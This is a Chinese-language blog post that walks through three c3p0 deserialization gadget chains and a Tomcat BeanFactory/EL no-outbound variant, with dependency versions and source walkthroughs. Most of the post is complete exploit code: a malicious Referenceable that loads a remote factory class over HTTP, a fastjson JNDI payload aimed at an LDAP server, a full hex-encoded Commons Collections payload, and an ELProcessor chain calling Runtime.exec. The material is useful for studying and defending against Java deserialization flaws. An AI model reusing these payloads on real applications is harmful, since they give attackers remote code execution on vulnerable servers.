• 版本:jdk8u25
  • 依赖:c3p0(0.9.5.2),fastjson1.2.24,cc3.1和tomcat以及EL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>


<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
</dependencies>

c3p0详解

正常c3p0的利用方式就三种:

  • URLClassLoader远程类加载
  • JNDI注入
  • 反序列化HEX字节

在前面几篇文章中我对前两个利用方式的前置知识做了讲解,所以直接步入主题

URLClassLoader链子

直接定位到漏洞点com.mchange.v2.naming.ReferenceableUtils的referenceToObject函数,实现如下:

referenceToObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();

ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();

ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}

Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}
catch ( Exception e )
{
if (Debug.DEBUG)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.FINE ) )
logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
}
NamingException ne = new NamingException("Could not resolve Reference to Object!");
ne.setRootCause( e );
throw ne;
}
}

解析一下代码,获取输入的Reference实例,从实例中获取工厂类的类名称赋值给fClassName,获取加载工厂类的url赋值给fClassLocation

接着获取当前线程的类加载器,如果没获取到,就获取当前类的类加载器(都赋值给defaultClassLoader)

接着判断fClasssLocation是否为空,说的话就调用defaultCLassloader加载fClassName,不是则用URLCLassLoader加载远程工厂类并实例化,最后执行getObjectInstance函数

最后是抛出异常,这就不细讲

整理一下已知信息,我们需要控制Referenece,将他指向远程的恶意工厂类即可

那么我们接着寻找谁调用了referenceToObject函数

不是很多,直接定位到com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized的getObject函数

getObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );

Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );

return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
}

解析一下代码,创建一个InitialContext实例,把env给赋值了进去

接着判断contextName属性是否为空,不为空就调用InitialContext的lookup方法,赋值给nameContext

最后调用ReferenceableUtils的referenceToObject方法,第一个参数是reference属性,我们看看这个属性是否可控

可以发现赋值就一个构造函数:

ReferenceSerialized

1
2
3
4
5
6
7
8
9
10
ReferenceSerialized( Reference   reference,
Name name,
Name contextName,
Hashtable env )
{
this.reference = reference;
this.name = name;
this.contextName = contextName;
this.env = env;
}

完全可控,那么接下来找谁调用了getObject函数

直接定位到com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase的readObject方法,这个方法就很合适了,可以当作入口

readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
short version = ois.readShort();
switch (version)
{
case VERSION:
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
}
this.dataSourceName = (String) ois.readObject();
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.extensions = (Map) o;
}
this.factoryClassLocation = (String) ois.readObject();
this.identityToken = (String) ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport( this );
this.vcs = new VetoableChangeSupport( this );
break;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}

先反序列化出version,如果version是,在通过version进行下一步操作,这里保证version为0x0001即可

接着反序列化出o,假如o是IndirectlySerialized的实例,就调用o的getObject()函数,我们目前不知道o是反序列化出的哪个属性

反序列化属性的顺序是和序列化相对应的,所以想要查看这个反序列化的参数是啥,就得先看序列化writeObject

writeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
private void writeObject( ObjectOutputStream oos ) throws IOException
{
oos.writeShort( VERSION );
try
{
//test serialize
SerializableUtils.toByteArray(connectionPoolDataSource);
oos.writeObject( connectionPoolDataSource );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
}
catch (IOException indirectionIOException)
{ throw indirectionIOException; }
catch (Exception indirectionOtherException)
{ throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + indirectionOtherException.toString() ); }
}
oos.writeObject( dataSourceName );
try
{
//test serialize
SerializableUtils.toByteArray(extensions);
oos.writeObject( extensions );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( extensions ) );
}
catch (IOException indirectionIOException)
{ throw indirectionIOException; }
catch (Exception indirectionOtherException)
{ throw new IOException("Problem indirectly serializing extensions: " + indirectionOtherException.toString() ); }
}
oos.writeObject( factoryClassLocation );
oos.writeObject( identityToken );
oos.writeInt(numHelperThreads);
}

可以看到先序列化了version,然后再实例化connectionPoolDataSource,version是反序列化第一个读出来的

那么刚刚讨论的o就是connectionPoolDataSource参数了,我们看看connectionPoolDataSource参数

private ConnectionPoolDataSource connectionPoolDataSource

是ConnectionPoolDataSource类,我们需要让他赋值成IndirectlySerialized的实例,正常来说近乎不可能,因为无论是正常赋值还是反射修改都会爆类型不兼容错误

但是呢,ConnectionPoolDataSource类是没有实现Serialize接口的,也就是说他不会正常反序列化而进入到catch的逻辑部分

我们看看catch部分的逻辑:

首先写个异常日志,然后实例化一个com.mchange.v2.naming.ReferenceIndirector类为indirector

然后调用ReferenceIndirector的indirectForm,实参为connectionPoolDataSource,我们跟进查看一下indirectForm是怎么实现的

indirectForm

1
2
3
4
5
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}

调用输入参数(connectionPoolDataSource)的getReference函数

然后返回一个ReferenceSerialized类,reference参数设置为了刚刚调用的getReference函数的返回

ReferenceSerialized实现了IndirectlySerialized接口,所以他能正常通过”o instanceof IndirectlySerialized”这个的检测

那么就很好了,实例化connectionPoolDataSource参数的时候会返回一个ReferenceSerialized类,并调用原本参数的getReference函数的返回值作为reference

那么我们的思路如下,创建一个类继承ConnectionPoolDataSource和Referenceable

重写getReference函数返回恶意Reference实例,即可赋值成功

链子是:

1
2
3
4
PoolBackedDataSourceBase#readObject->
ReferenceIndirector$ReferenceSerialized#getObject->
ReferenceableUtils#referenceToObject->
恶意工厂类#getObjectInstance

接下来是exp:

ClassLoaderTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package test;


import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class ClassLoaderTest {
public static class EvilConnectionPoolDataSource implements ConnectionPoolDataSource, Referenceable{

@Override
public Reference getReference() throws NamingException {
Reference reference=new Reference("jndizr","jndizr","http://127.0.0.1:5555/");
return reference;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}



public static void main(String[] args) throws Exception{

Class class2=Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Constructor constructor1=class2.getDeclaredConstructor();
constructor1.setAccessible(true);
Object o1=constructor1.newInstance();

EvilConnectionPoolDataSource evilConnectionPoolDataSource=new EvilConnectionPoolDataSource();
Field field=class2.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(o1,evilConnectionPoolDataSource);

ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o1);
byte[] bytes=byteArrayOutputStream.toByteArray();

ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

}

恶意类和jndi注入的恶意类一样

jndizr.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class jndizr implements ObjectFactory, Serializable {
public jndizr() {
}

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws Exception {
Runtime var5 = Runtime.getRuntime();
Process var6 = var5.exec(new String[]{"calc"});
var6.waitFor();
return null;
}

static {
try {
Runtime var0 = Runtime.getRuntime();
Process var1 = var0.exec(new String[]{"calc"});
var1.waitFor();
} catch (Exception var2) {
var2.printStackTrace();
}

}
}

jndi链子

这条链子要和fastjson配合,不会fastjson的可以看我往期博客

就像我上一篇博客说的,jndi的入口是lookup,所以我们定位到com.mchange.v2.c3p0.JndiRefForwardingDataSource的dereference函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private DataSource dereference() throws SQLException
{
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();
try
{
InitialContext ctx;
if (jndiEnv != null)
ctx = new InitialContext( jndiEnv );
else
ctx = new InitialContext();
if (jndiName instanceof String)
return (DataSource) ctx.lookup( (String) jndiName );
else if (jndiName instanceof Name)
return (DataSource) ctx.lookup( (Name) jndiName );
else
throw new SQLException("Could not find ConnectionPoolDataSource with " +
"JNDI name: " + jndiName);
}
catch( NamingException e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", e );
throw SqlUtils.toSQLException( e );
}
}

获取当前类的jndiName和jndiEnv,创建一个InitialContext,如果jndiEnv不为空就赋值给InitialContext

接着判断该jndiName是否为String的实例,如果是就直接lookup到jndiName

不是String实例的话就判断是否是Name实例,是的话lookup到jndiName

都不是就抛出异常

查看一下jndiName是否可控,只有setJndiName和readObject赋值了,完全可控

接下来找谁调用了dereference函数,定位到当前类的inner函数

inner

1
2
3
4
5
6
7
8
9
10
11
12
private synchronized DataSource inner() throws SQLException
{
if (cachedInner != null)
return cachedInner;
else
{
DataSource out = dereference();
if (this.isCaching())
cachedInner = out;
return out;
}
}

如果cachedInner属性不为空,就直接return cachedInner

否则就调用dereference函数,没什么属性涉及到,直接再寻找谁调用了inner函数

可以定位到当前类的setLoginTimeout函数

setLoginTimeout

1
2
public void setLoginTimeout(int seconds) throws SQLException
{ inner().setLoginTimeout( seconds ); }

直接调用inner函数

到此就可以结束了,因为fastjson可以反序列化调用任意setter函数,链子是:

1
2
3
4
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

直接给出exp

jndiTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package test;

import com.alibaba.fastjson.JSON;

public class jndiTest {
public static void main(String[] args) {
String payload="{\n" +
" \"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\n" +
" \"jndiName\":\"ldap://127.0.0.1:1389/1111\",\n" +
" \"loginTimeout\":\"114514\"\n" +
"}";
System.out.println(payload);
JSON.parse(payload);
}
}

payload:

1
2
3
4
5
{
"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName":"ldap://127.0.0.1:1389/1111",
"loginTimeout":"114514"
}

ldap可以用工具开,也可以自己写,不会自己写的也可以看我往期博客

反序列化HEX字节

这条链子也需要用到fastjson依赖

我们定位到漏洞点com.mchange.v2.ser.SerializableUtils的deserializeFromByteArray函数

deserializeFromByteArray

1
2
3
4
5
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

接收字节数组然后正常调用readObject反序列化,如果bytes可控,我们就可以用它调用任何readObject为入口的链子

然后查找谁调用了deserializeFromByteArray,可以看到当前类的

fromByteArray

1
2
3
4
5
6
7
8
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}

直接调用deserializeFromByteArray方法

我们再找谁调用了fromByteArray方法,定位到com.mchange.v2.c3p0.impl.C3P0ImplUtils类的parseUserOverridesAsString方法

parseUserOverridesAsString

1
2
3
4
5
6
7
8
9
10
11
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}

输入形参String,如果String不为空,就把HASM_HERDER长度加一的部分和最后一个字符去掉,取后面的进行十六进制转字节数组

最后最后把这个直接数组传到fromByteArray函数中,我们看看HASM_HERDER是啥

private final static String HASM_HEADER = "HexAsciiSerializedMap";

所以传入的十六进制数的前面必须加上比”HexAsciiSerializedMap”长一个字节的字符串

那么再看看谁调用了parseUserOverridesAsString,定位到com.mchange.v2.c3p0.WrapperConnectionPoolDataSource类的构造方法

WrapperConnectionPoolDataSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public WrapperConnectionPoolDataSource(boolean autoregister)
{
super( autoregister );

setUpPropertyListeners();

//set up initial value of userOverrides
try
{ this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e );
}
}

先调用父类的构造函数,再调用setUpPropertyListeners方法,这个方法不用管,肯定能执行成功

然后调用C3P0ImplUtils.parseUserOverridesAsString,形参是当前类的userOverridesAsString属性

那么分析就到此结束,用fastjson触发反序列化就能实例化触发构造方法,链子是

1
2
3
4
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray

接着是exp,我们用cc1链做测试

HexTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package test;

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Map;

public class HexTest {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer =new ChainedTransformer(Transformers);
Map map=new HashedMap();
map.put("value","Nebu1ea");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);


Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object object=constructor.newInstance(Target.class,transformedMap);

//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
byte[] bytes=byteArrayOutputStream.toByteArray();

String hex = ByteUtils.toHexAscii(bytes);
String payloadHex="HexAsciiSerializedMap1"+hex+";";

String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\""+ payloadHex +"\""+
"}";
System.out.println(payload);
JSON.parse(payload);


}
}

具体payload:

1
{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap1ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200316F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E5472616E73666F726D65644D617061773FE05DF15A700300024C000E6B65795472616E73666F726D657274002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B4C001076616C75655472616E73666F726D657271007E00057870707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001900000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00197371007E00117571007E001600000002707571007E001600000000740006696E766F6B657571007E001900000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00167371007E00117571007E00160000000174000463616C63740004657865637571007E00190000000171007E001E7372002C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4861736865644D6170E72F0A460E4F73F00300007870770C3F400000000000100000000174000576616C75657400074E65627531656178787672001B6A6176612E6C616E672E616E6E6F746174696F6E2E54617267657400000000000000000000007870;"}

不出网打法

前面已经介绍了一个不出网的打法: Fastjson打反序列化HEX字节

但没有fastjson依赖还有一种打法,要有tomcat的依赖,我在文章开头写了,漏洞点在org.apache.naming.factory.BeanFactory的getObjectInstance方法

这个方法很长,我就不粘贴了,想要审计的自己解决

直接讲讲它会干啥么

  • 接收一个ResourceRef对象,并构造ResourceRef的resourceClass属性的实例

  • 解析ResourceRef的键值对读取forceString的值,假如值是”nebu=eval”就把nebu绑定成eval函数

  • 解析ResourceRef的键值读取nebu的值,并调用上面的实例中的nebu绑定的方法(eval),传入的实参为nebu的值

那么我们的思路就是,让ClassLoader那条链子找到BeanFactory类并调用getObjectInstance函数,让getObjectInstance调用javax.el.ELProcessor的eval函数执行恶意命令,即可大功告成

接下来是payload,用的还是ClassLoader那条链子:

BeanTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package test;


import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class BeanTest {
public static class EvilConnectionPoolDataSource implements ConnectionPoolDataSource, Referenceable{

@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "nebu=eval"));
resourceRef.add(new StringRefAddr("nebu", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}



public static void main(String[] args) throws Exception{

Class class2=Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Constructor constructor1=class2.getDeclaredConstructor();
constructor1.setAccessible(true);
Object o1=constructor1.newInstance();

EvilConnectionPoolDataSource evilConnectionPoolDataSource=new EvilConnectionPoolDataSource();
Field field=class2.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(o1,evilConnectionPoolDataSource);

ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o1);
byte[] bytes=byteArrayOutputStream.toByteArray();

ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

}

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝